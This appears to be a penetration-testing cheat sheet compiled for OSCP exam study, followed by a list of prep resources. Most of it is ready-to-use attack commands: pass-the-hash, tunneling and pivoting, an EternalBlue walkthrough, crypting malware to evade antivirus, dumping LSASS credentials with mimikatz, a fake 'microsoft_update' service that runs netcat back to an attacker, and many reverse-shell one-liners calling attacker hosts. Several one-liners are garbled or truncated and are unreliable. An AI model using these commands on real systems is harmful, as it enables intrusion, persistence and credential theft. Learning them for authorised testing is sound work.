  - `john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt`
  - JTR forced descrypt cracking with wordlist

    `john --format=descrypt --wordlist  /usr/share/wordlists/rockyou.txt hash.txt`
  - JTR forced descrypt brute force cracking

    `john --format=descrypt hash --show`
- Passing the Hash in Windows
  - Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:

    `export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896`

    `pth-winexe -U administrator //$ip cmd`

Networking, Pivoting and Tunneling

- Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port
  - `apt-get install rinetd`
  - `cat /etc/rinetd.conf`

    ```
    # bindadress bindport connectaddress connectport
    w.x.y.z 53 a.b.c.d 80
    ```
- SSH Local Port Forwarding: supports bi-directional communication channels
  - `ssh <gateway> -L <local port to listen>:<remote host>:<remote port>`
- SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
  - `ssh <gateway> -R <remote port to bind>:<local host>:<local port>`
- SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
  - `ssh -D <local proxy port> -p <remote port> <target>`
- Proxychains - Perform nmap scan within a DMZ from an external computer
  - Create reverse SSH tunnel from Popped machine on :2222

    `ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com` `ssh -f -N -R 2222:<local host>:22 root@<remote host>`
  - Create a Dynamic application-level port forward on 8080 thru 2222

    `ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>`
  - Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

    `proxychains nmap --top-ports=20 -sT -Pn $ip/24`
- HTTP Tunneling

  `nc -vvn $ip 8888`
- Traffic Encapsulation - Bypassing deep packet inspection
  - http tunnelOn server side:`sudo hts -F <server ip addr>:<port of your app> 80` On client side:`sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel`
- Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
  - Tunnel on port 22

    `plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>`

- Port 22 blocked? Try port 80? or 443?

  `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80`

- Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
  - Windows machine add required firewall rules without prompting the user
  - `netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes`
  - `netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000`
  - `netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080`
  - `netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079`
  - Start the http tunnel client

    `httptunnel_client.exe`

  - Create HTTP reverse shell by connecting to localhost port 3000

    `plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000`

- VLAN Hopping
  - `git clone https://github.com/nccgroup/vlan-hopping.git`
    `chmod 700 frogger.sh`
    `./frogger.sh`
- VPN Hacking
  - Identify VPN servers: `./udp-protocol-scanner.pl -p ike $ip`
  - Scan a range for VPN servers: `./udp-protocol-scanner.pl -p ike -f ip.txt`
  - Use IKEForce to enumerate or dictionary attack VPN servers:

    `pip install pyip`

    `git clone https://github.com/SpiderLabs/ikeforce.git`

    Perform IKE VPN enumeration with IKEForce:

    `./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic`

    Bruteforce IKE VPN using IKEForce:

    `./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1` Use ike-scan to capture the PSK hash:

    ```
    ike-scan
    ike-scan TARGET-IP
    ike-scan -A TARGET-IP
    ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
    ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP
    ```

    Use psk-crack to crack the PSK hash

    ```
    psk-crack hash-file.txt
    pskcrack
    psk-crack -b 5 TARGET-IPkey
    psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
    psk-crack -d /path/to/dictionary-file TARGET-IP-key
    ```

- PPTP Hacking
  - Identifying PPTP, it listens on TCP: 1723NMAP PPTP Fingerprint:

    `nmap –Pn -sV -p 1723 TARGET(S)` PPTP Dictionary Attack

    `thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst`

- Port Forwarding/Redirection
- PuTTY Link tunnel - SSH Tunneling
  - Forward remote port to local address:

    `plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>`

- SSH Pivoting

- SSH pivoting from one network to another:

  ```
  ssh -D <local host>:1010 -p 22 user@<remote host>
  ```

- DNS Tunneling
  - dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
  - Attacking Machine Installation:

    ```
    apt-get update
    apt-get -y install ruby-dev git make g++
    gem install bundler
    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/server
    bundle install
    ```

  - Run dnscat2:

    ```
    ruby ./dnscat2.rb
    dnscat2> New session established: 1422
    dnscat2> session -i 1422
    ```

  - Target Machine:*https://downloads.skullsecurity.org/dnscat2/*

    https://github.com/lukebaggett/dnscat2-powershell/

    ```
    dnscat --host <dnscat server ip>
    ```

The Metasploit Framework

- See *Metasploit Unleashed Course* in the Essentials
- Search for exploits using Metasploit GitHub framework source code:*https://github.com/rapid7/metasploit-framework*Translate them for use on OSCP LAB or EXAM.
- Metasploit
  - MetaSploit requires Postfresql

    ```
    systemctl start postgresql
    ```

  - To enable Postgresql on startup

    ```
    systemctl enable postgresql
    ```

- MSF Syntax
  - Start metasploit

    ```
    msfconsole
    ```

    ```
    msfconsole -q
    ```

  - Show help for command

    ```
    show -h
    ```

  - Show Auxiliary modules

    ```
    show auxiliary
    ```

  - Use a module

    ```
    use auxiliary/scanner/snmp/snmp_enum
    use auxiliary/scanner/http/webdav_scanner
    use auxiliary/scanner/smb/smb_version
    use auxiliary/scanner/ftp/ftp_login
    use exploit/windows/pop3/seattlelab_pass
    ```

  - Show the basic information for a module

    ```
    info
    ```

  - Show the configuration parameters for a module

    ```
    show options
    ```

  - Set options for a module

    ```
    set RHOSTS 192.168.1.1-254
    set THREADS 10
    ```

  - Run the module

    `run`

  - Execute an Exploit

    `exploit`

  - Search for a module

    `search type:auxiliary login`

- Metasploit Database Access

  - Show all hosts discovered in the MSF database

    `hosts`

  - Scan for hosts and store them in the MSF database

    `db_nmap`

  - Search machines for specific ports in MSF database

    `services -p 443`

  - Leverage MSF database to scan SMB ports (auto-completed rhosts)

    `services -p 443 --rhosts`

- Staged and Non-staged

  - Non-staged payload - is a payload that is sent in its entirety in one go

  - Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus

- MS 17-010 - EternalBlue

  - You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: *https://www.youtube.com/watch?v=4OHLor9VaRI*

  1. First step is to configure the Kali to work with wine 32bit

     dpkg --add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit

  2. Download the exploit repostory `https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit`

  3. Move the exploit to `/usr/share/metasploit-framework/modules/exploits/windows/smb` or `~/.msf4/modules/exploits/windows/smb`

  4. Start metasploit console

  - I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

```
use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run
```

- Experimenting with Meterpreter

  - Get system information from Meterpreter Shell

    `sysinfo`

  - Get user id from Meterpreter Shell

    `getuid`

  - Search for a file

    `search -f *pass*.txt`

  - Upload a file

    `upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`

  - Download a file

    `download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`

- Invoke a command shell from Meterpreter Shell

  `shell`

- Exit the meterpreter shell

  `exit`

- Metasploit Exploit Multi Handler
  - multi/handler to accept an incoming reverse_https_meterpreter

    ```
    payload
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_https
    set LHOST $ip
    set LPORT 443
    exploit
    [*] Started HTTPS reverse handler on https://$ip:443/
    ```

- Building Your Own MSF Module
  - `mkdir -p ~/.msf4/modules/exploits/linux/misc`

    `cd ~/.msf4/modules/exploits/linux/misc`

    `cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb`

    `nano crossfire.rb`

- Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)
  - `download` Download a file or directory `upload` Upload a file or directory `portfwd` Forward a local port to a remote service `route` View and modify the routing table `keyscan_start` Start capturing keystrokes `keyscan_stop` Stop capturing keystrokes `screenshot` Grab a screenshot of the interactive desktop `record_mic` Record audio from the default microphone for X seconds `webcam_snap` Take a snapshot from the specified webcam `getsystem` Attempt to elevate your privilege to that of local system. `hashdump` Dumps the contents of the SAM database

- Meterpreter Post Exploitation Features
  - Create a Meterpreter background session

    `background`

Bypassing Antivirus Software

- Crypting Known Malware with Software Protectors
  - One such open source crypter, called Hyperion

    ```
    cp /usr/share/windows-binaries/Hyperion-1.0.zip
    unzip Hyperion-1.0.zip
    cd Hyperion-1.0/
    i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
    cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
    cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
    wine hyperion.exe ../backdoor.exe ../crypted.exe
    ```

Nmap Full Web Vulnerable Scan:

mkdir /usr/share/nmap/scripts/vulscan

cd /usr/share/nmap/scripts/vulscan

wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz

nmap -sS -sV –script=vulscan/vulscan.nse target

nmap -sS -sV –script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target

nmap -sS -sV –script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target

nmap -PN -sS -sV –script=vulscan –script-args vulscancorrelation=1 -p80 target

nmap -sV –script=vuln target

nmap -PN -sS -sV –script=all –script-args vulscancorrelation=1 target

Dirb Directory Bruteforce:

dirb http://IP:PORT dirbuster-ng-master/wordlists/common.txt

Nikto Scanner:

nikto -C all -h http://IP

WordPress Scanner:

wpscan –url http://IP/ –enumerate p

Uniscan Scanning:

uniscan.pl -u target -qweds

HTTP Enumeration:

httprint -h http://www.example.com -s signatures.txt

SKIP Fish Scanner:

skipfish -m 5 -LVY -W /usr/share/skipfish/dictionaries/complete.wl -u http://IP

Uniscan Scanning:

uniscan –u http://www.hubbardbrook.org –qweds

- q – Enable Directory checks
- w – Enable File Checks
- e – Enable robots.txt and sitemap.xml check
- d – Enable Dynamic checks
- s – Enable Static checks

Skipfish Scanning:

m-time threads -LVY donot update after result

skipfish -m 5 -LVY -W /usr/share/skipfish/dictionaries/complete.wl -u http://IP

Nmap Ports Scan:

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)

2)fargement

3)data packed – like orginal one not scan packet

4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target

1. nmap –source-port 53 target

nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target (Randomize scan form diff IP)

nmap -Pn -T2 -sV –randomize-hosts IP1,IP2

nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)

nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)

nmap -sA -PN -sN target

nmap -sS -sV -T5 -F -A -O target (version detection)

nmap -sU -v target (Udp)

nmap -sU -P0 (Udp)

nmap -sC 192.168.31.10-12 (all scan default)

Netcat Scanning:

nc -v -w 1 target -z 1-1000

for i in {10..12}; do nc -vv -n -w 1 192.168.34.$i 21-25 -z; done

US Scanning:

us -H -msf -Iv 192.168.31.20 -p 1-65535 && us -H -mU -Iv 192.168.31.20 -p 1-65535

Unicornscan Scanning:

unicornscan X.X.X.X:a -r10000 -v

Kernel Scanning:

xprobe2 -v -p tcp:80:open 192.168.6.66

Samba Enumeartion:

nmblookup -A target

smbclient //MOUNT/share -I target -N

rpcclient -U “” target

enum4linux target

SNMP ENumeration:

snmpget -v 1 -c public IP version

snmpwalk -v 1 -c public IP

snmpbulkwalk -v 2 -c public IP

Windows Useful commands:

net localgroup Users

net localgroup Administrators

search dir/s *.doc

system(“start cmd.exe /k $cmd”)

sc create microsoft_update binpath=”cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe” start= auto error= ignore

/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779

mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords”

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz.exe “sekurlsa::minidump lsass.dmp” “log” “sekurlsa::logonpasswords”

C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits

C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

Plink Tunnel:

plink.exe -P 22 -l root -pw “1234” -R 445:127.0.0.1:445 X.X.X.X

Enable RDP Access:

```
reg add “hklm\system\currentcontrolset\control\terminal server” /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```

Turn Off Firewall:

```
netsh firewall set opmode disable
```

Meterpreter:

```
run getgui -u admin -p 1234
run vnc -p 5043
```

Add User Windows:

```
net user test 1234 /add
net localgroup administrators test /add
```

Mimikatz:

```
privilege::debug
sekurlsa::logonPasswords full
```

Passing the Hash:

```
pth-winexe -U hash //IP cmd
```

Password Cracking using Hashcat:

```
hashcat -m 400 -a 0 hash /root/rockyou.txt
```

Netcat commands:

```
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
```

Banner Grabbing:

```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: SPOOFED-BROWSER
Referrer: K0NSP1RACY.COM
```

window reverse shell:

```
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc rogue.k0nsp1racy.com 80 -e cmd.exe
nc -lp 80
#nc -lp 31337 -e /bin/bash
```

```
nc 192.168.0.11 31337
```

```
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
```

Find all SUID root files:

```
find / -user root -perm -4000 -print
```

Find all SGID root files:

```
find / -group root -perm -2000 -print
```

Find all SUID and SGID files owned by anyone:

```
find / -perm -4000 -o -perm -2000 -print
```

Find all files that are not owned by any user:

```
find / -nouser -print
```

Find all files that are not owned by any group:

```
find / -nogroup -print
```

Find all symlinks and what they point to:

```
find / -type l -ls
```

Python:

```
python -c ‘import pty;pty.spawn(“/bin/bash”)’
```

```
python -m SimpleHTTPServer (Starting HTTP Server)
```

PID:

```
fuser -nv tcp 80 (list PID of process)
```

```
fuser -k -n tcp 80 (Kill Process of PID)
```

Hydra:

```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp (Self Explanatory)
```

Mount Remote Windows Share:

```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

Compiling Exploit in Kali:

```
gcc -m32 -o output32 hello.c (32 bit)
```

```
gcc -o output hello.c (64 bit)
```

Compiling Windows Exploits on Kali:

```
cd /root/.wine/drive_c/MinGW/bin
```

```
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
```

```
wine ability.exe
```

NASM Command:

```
nasm -f bin -o payload.bin payload.asm
```

nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting:

ssh -D 127.0.0.1:1080 -p 22 user@IP

Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains commands target

Pivoting to One Network to Another:

ssh -D 127.0.0.1:1080 -p 22 user1@IP1

Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2

Add socks4 127.0.0.1 1081 in /etc/proxychains.conf

proxychains commands target

Pivoting Using metasploit:

route add 10.1.1.0 255.255.255.0 1

route add 10.2.2.0 255.255.255.0 1

use auxiliary/server/socks4a

run

proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

Exploit-DB search using CSV File:

searchsploit-rb –update

searchsploit-rb -t webapps -s WEBAPP

searchsploit-rb –search=”Linux Kernel”

searchsploit-rb -a “author name” -s “exploit name”

searchsploit-rb -t remote -s “exploit name”

searchsploit-rb -p linux -t local -s “exploit name”

For Privilege Escalation Exploit search:

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep “<|<=” | sort -k3

Metasploit Payloads:

msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.10 X > system.exe

msfpayload php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 R > exploit.php

msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 R | msfencode -t asp -o file.asp

msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | msfencode -e x86/shikata_ga_nai -b “\x00″ -t c

Create a Linux Reverse Meterpreter Binary

msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t elf -o shell

Create Reverse Shell (Shellcode)

msfpayload windows/shell_reverse_tcp LHOST= LPORT= R | msfencode -b “\x00\x0a\x0d”

Create a Reverse Shell Python Script

msfpayload cmd/unix/reverse_python LHOST= LPORT= R > shell.py

Create a Reverse ASP Shell

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t asp -o shell.asp

Create a Reverse Bash Shell

msfpayload cmd/unix/reverse_bash LHOST= LPORT= R > shell.sh

Create a Reverse PHP Shell

msfpayload php/meterpreter_reverse_tcp LHOST= LPORT= R > shell.php

Edit shell.php in a text editor to add <?php at the beginning.

Create a Windows Reverse Meterpreter Binary

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= X >shell.exe

Security Commands In Linux:

find programs with a set uid bit

find / -uid 0 -perm -4000

find things that are world writable

find / -perm -o=w

find names with dots and spaces, there shouldn't be any

find / -name " " -print find / -name "..' -print find / -name ". " -print find / -name " " -print

find files that are not owned by anyone

find / -nouser

look for files that are unlinked

lsof +L1

get information about procceses with open ports

lsof -i

look for weird things in arp

arp -a

look at all accounts including AD

getent passwd

look at all groups and membership including AD

getent group

list crontabs for all users including AD

for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

generate random passwords

cat /dev/urandom| tr -dc 'a-zA-Z0-9-*!@#$%^&*()*+{}|:<>?='|fold -w 12| head -n 4

find all immutable files, there should not be any

find . | xargs -I file lsattr -a file 2>/dev/null | grep '^....i'

fix immutable files

chattr -i file

Windows Buffer Overflow Exploitation Commands:

msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00″ -t c

msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | msfencode -e x86/shikata_ga_nai -b "\x00″ -t c

COMMONLY USED BAD CHARACTERS:

\x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

Useful Commands:

pattern create

pattern offset (EIP Address)

pattern offset (ESP Address)

add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode)

!pvefindaddr pattern_create 5000

!pvefindaddr suggest

!pvefindaddr modules

!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona%p

!mona config -get workingfolder

!mona mod

!mona bytearray -b "\x00\x0a"

!mona pc 5000

!mona po EIP

!mona suggest

SEH:

!mona suggest

!mona nosafeseh

nseh="\xeb\x06\x90\x90″ (next seh chain)

iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP):

!mona modules

!mona ropfunc -m *.dll -cpb "\x00\x09\x0a'

!mona rop -m *.dll -cpb "\x00\x09\x0a' (auto suggest)

ASLR:

!mona noaslr

EGG Hunter:

!mona jmp -r esp

!mona egg -t lxxl

\xeb\xc4 (jump backward -60)

buff=lxxllxxl+shell

!mona egg -t ‘w00t’

GDB Debugger Commands:

Setting Breakpoint :

break *_start

Execute Next Instruction :

next

step

n

s

Continue Execution :

continue

c

Data :

checking ‘REGISTERS’ and ‘MEMORY’

Display Register Values : (Decimal , Binary , Hex)

print /d –> Decimal

print /t –> Binary

print /x –> Hex

O/P :

(gdb) print /d $eax

$17 = 13

(gdb) print /t $eax

$18 = 1101

(gdb) print /x $eax

$19 = 0xd

(gdb)

Display values of specific memory locations :

command : x/nyz (Examine)

n –> Number of fields to display ==>

y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)

z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

Cheat Codes:

Reverse Shellcode:

BASH:

```
bash -i >& /dev/tcp/192.168.23.10/443 0>&1
```

```
exec /bin/bash 0&0 2>&0
```

```
exec /bin/bash 0&0 2>&0
```

```
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
```

```
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
```

```
exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
```

```
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done
```

```
/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
```

```
/bin/bash -i > /dev/tcp/192.168.23.10/443 0<&1 2>&1
```

PERL:

Shorter Perl reverse shell that does not depend on /bin/sh:

```
perl -MIO -e '$p=fork;exit,if(�);~->fdopen($c,w);system$_ while<>;'
```

```
perl -MIO -e '$p=fork;exit,if(�);~->fdopen($c,w);system$_ while<>;'
```

If the target system is running Windows use the following one-liner:

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen(�,�);~->fdopen($c,w);system$_ while<>;'
```

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444″);STDIN->fdopen(�,�);~->fdopen($c,w);system$_ while<>;'
```

```
perl -e 'use Socket;$i="10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

```
perl -e 'use Socket;$i="10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

RUBY:

Longer Ruby reverse shell that does not depend on /bin/sh:

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

If the target system is running Windows use the following one-liner:

```
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

```
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444″);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

```
ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

```
ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

PYTHON:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP:

This code assumes that the TCP connection uses file descriptor 3.

```
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
```

php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’

If you would like a PHP reverse shell to download, try this link on pentestmonkey.net -> LINK

NETCAT:

Other possible Netcat reverse shells, depending on the Netcat version and compilation flags:

```
nc -e /bin/sh attackerip 4444
```

```
nc -e /bin/sh 192.168.37.10 443
```

If the -e option is disabled, try this

```
mknod backpipe p && nc 192.168.23.10 443 0<backpipe | /bin/bash 1>backpipe
```

```
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
```

```
/bin/sh | nc attackerip 4444
```

```
/bin/sh | nc 192.168.23.10 443
```

```
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
```

```
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.23.10 444 0/tmp/
```

If you have the wrong version of netcat installed, try

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.10 >/tmp/f
```

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

TELNET:

If netcat is not available or /dev/tcp

```
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
```

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

XTERM:

Xterm is the best..

To catch incoming xterm, start an open X Server on your system (:1 – which listens on TCP port 6001). One way to do this is with Xnest: It is available on Ubuntu.

```
Xnest :1 # Note: The command starts with uppercase X
```

Xnest :1 # Note: The command starts with uppercase X

Then remember to authorise on your system the target IP to connect to you: xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest, another tab xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

If you want anyone to connect to this spawned xterm try: xhost + # Run this INSIDE the spawned xterm on the open X Server xhost + # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 xterm -display attackerip:1

Or: $ DISPLAY=attackerip:0 xterm $ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001. Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:

/usr/openwin/bin/xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1

PHP:

php -r ‘$sock=fsockopen(“192.168.0.100″,4444);exec(“/bin/sh -i <&3 >&3 2>&3″);’

JAVA:

r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.0.100/4444;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()

OSCP-PWK-Prep-Resources-

A list of the resources I have been using as I prepare for the exam

Update: changed wording so that it didnt seem like I already have the certification. My exam is scheduled for the end of December. I also have some more resources that I have found helpful since the last update. I will be adding those sometime this week

OSCP Experience

This are the blogs I have found that have given me a good direction to start as I prepared for the course

https://www.hacksplaining.com/

http://www.abatchy.com/search/label/OSCP%20Prep

http://www.techexams.net/forums/security-certifications/113355-list-recent-oscp-threads.html

http://www.jasonbernier.com/oscp-review/

https://localhost.exposed/path-to-oscp/

https://pinboard.in/u:unfo/t:oscp

The Basics - Start Here

these are the resources I used to get more comfortable with linux, scripting, TCP/IP, etc. I recommend starting with these especially if you dont have much/any experience

https://pentesterlab.com/bootcamp

http://www.penguintutor.com/linux/basic-network-reference

https://www.cybrary.it/course/advanced-penetration-testing/

https://tulpasecurity.files.wordpress.com/2016/09/tulpa-pwk-prep-guide1.pdf

Metasploit

although it has been said that Metasploit use is limited during the exam, Offensive Security recommends getting more familiar with Metasploit. I have been going through the metasploit unleashed course its really good info, i would be suprised if I dont have to come back to this repeatedly

https://www.offensive-security.com/metasploit-unleashed/

https://community.rapid7.com/community/metasploit/blog/2016/11/15/test-your-might-with-the-shiny-new-metasploitable3

Linux Exploitation

https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/

Privilege Escalation - Linux

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

TCPDump

https://danielmiessler.com/study/tcpdump/

Buffer Overflows

https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

https://www.exploit-db.com/docs/28475.pdf

Enumeration

